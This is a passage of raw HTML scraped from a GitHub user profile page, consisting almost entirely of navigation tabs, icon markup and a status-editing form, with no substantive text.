data-supported-modes="[&quot;#&quot;,&quot;#&quot;]" data-supported-scope-types="[&quot;owner&quot;,&quot;repository&quot;,&quot;&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to" data-supported-modes="[&quot;@&quot;,&quot;@&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to_members_only" data-supported-modes="[&quot;@&quot;,&quot;@&quot;,&quot;&quot;,&quot;&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_members_only_prefetched" data-supported-modes="[&quot;@&quot;,&quot;@&quot;,&quot;&quot;,&quot;&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="files" data-fetch-debounce="0" data-src="/command_palette/files" data-supported-modes="[&quot;/&quot;]" data-supported-scope-types="[&quot;repository&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/discussions" data-supported-modes="[&quot;#&quot;]" data-supported-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/projects" data-supported-modes="[&quot;#&quot;,&quot;!&quot;]" data-supported-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/recent_issues" data-supported-modes="[&quot;#&quot;,&quot;#&quot;]" data-supported-scope-types="[&quot;owner&quot;,&quot;repository&quot;,&quot;&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/teams" data-supported-modes="[&quot;@&quot;,&quot;&quot;]" data-supported-scope-types="[&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/name_with_owner_repository" data-supported-modes="[&quot;@&quot;,&quot;@&quot;,&quot;&quot;,&quot;&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> </command-palette> </details-dialog> </details> <div class="position-fixed bottom-0 left-0 ml-5 mb-5 js-command-palette-toasts" style="z-index: 1000"> <div hidden class="Toast Toast--loading"> <span class="Toast-icon"> <svg class="Toast--spinner" viewBox="0 0 32 32" width="18" height="18" aria-hidden="true"> <path fill="#959da5" d="M16 0 A16 16 0 0 0 16 32 A16 16 0 0 0 16 0 M16 4 A12 12 0 0 1 16 28 A12 12 0 0 1 16 4" /> <path fill="#ffffff" d="M16 0 A16 16 0 0 1 32 16 L28 16 A12 12 0 0 0 16 4z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--error"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-stop"> <path fill-rule="evenodd" d="M4.47.22A.75.75 0 015 0h6a.75.75 0 01.53.22l4.25 4.25c.141.14.22.331.22.53v6a.75.75 0 01-.22.53l-4.25 4.25A.75.75 0 0111 16H5a.75.75 0 01-.53-.22L.22 11.53A.75.75 0 010 11V5a.75.75 0 01.22-.53L4.47.22zm.84 1.28L1.5 5.31v5.38l3.81 3.81h5.38l3.81-3.81V5.31L10.69 1.5H5.31zM8 4a.75.75 0 01.75.75v3.5a.75.75 0 01-1.5 0v-3.5A.75.75 0 018 4zm0 8a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--warning"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--success"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-info"> <path fill-rule="evenodd" d="M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM0 8a8 8 0 1116 0A8 8 0 010 8zm6.5-.25A.75.75 0 017.25 7h1a.75.75 0 01.75.75v2.75h.25a.75.75 0 010 1.5h-2a.75.75 0 010-1.5h.25v-2h-.25a.75.75 0 01-.75-.75zM8 6a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> </div> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <main id="js-pjax-container" data-pjax-container> <div class="mt-4 position-sticky top-0 d-none d-md-block color-bg-default width-full border-bottom color-border-muted" style="z-index:3;" > <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="user-profile-sticky-bar"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&amp;v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav width-full box-shadow-none js-responsive-underlinenav overflow-md-x-hidden"> <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_OVERVIEW&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_REPOSITORIES&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_PROJECTS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&amp;type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_PACKAGES&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_STARS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&amp;type=beta" href="/chikitang?tab=projects&amp;type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> </div> </div> </div> </div> <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="h-card mt-md-n5" data-acv-badge-hovercards-enabled itemscope itemtype="http://schema.org/Person" > <div class="user-profile-sticky-bar js-user-profile-sticky-bar d-none d-md-block"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&amp;v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> <div class="js-profile-editable-replace"> <div class="clearfix d-flex d-md-block flex-items-center mb-4 mb-md-0"> <div class="position-relative d-inline-block col-2 col-md-12 mr-3 mr-md-0 flex-shrink-0" style="z-index:4;" > <a class="tooltipped tooltipped-s d-block" aria-label="Change your avatar" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;EDIT_AVATAR&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="fe768eb126278f5ea2e2be2a694fd8f3a8db38717e25f9387d181f875bad4f31" href="https://github.com/account"><img style="height:auto;" alt="" width="260" height="260" class="avatar avatar-user width-full border color-bg-default" src="https://avatars.githubusercontent.com/u/107093285?v=4" /></a> <div class="user-status-container position-relative hide-sm hide-md"> <div class="f5 js-user-status-context user-status-circle-badge-container user-status-editable" data-url="/users/status?circle=1&amp;compact=0&amp;link_mentions=1&amp;truncate=0" > <div class="js-user-status-container user-status-circle-badge d-inline-block lh-condensed-ultra p-2" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;EDIT_USER_STATUS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-inline-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center "> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" ws-normal user-status-message-wrapper f6 min-width-0" > <div class="css-truncate css-truncate-target width-fit color-fg-default"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=1&amp;compact=0&amp;link_mentions=1&amp;truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="TROZQ1psazHuv4SfB_6CRG81LOswktW22NJDqz2bjfsh_3WyNIJmw91nORchhJS4niNrCWbssHaAEqHwSouerQ" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-false" id="limited-availability-truncate-false-compact-false"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-false"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-false"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> </div> </div> <div class="vcard-names-container float-left js-profile-editable-names col-12 py-3 js-sticky js-user-profile-sticky-fields" > <h1 class="vcard-names "> <span class="p-name vcard-fullname d-block overflow-hidden" itemprop="name"> </span> <span class="p-nickname vcard-username d-block" itemprop="additionalName"> chikitang </span> </h1> </div> </div> <div class="mb-2 user-status-container d-md-none"> <div class="js-user-status-container rounded-2 px-2 py-1 mt-2 border" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" role="menuitem" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;EDIT_USER_STATUS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center lh-condensed-ultra v-align-bottom"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 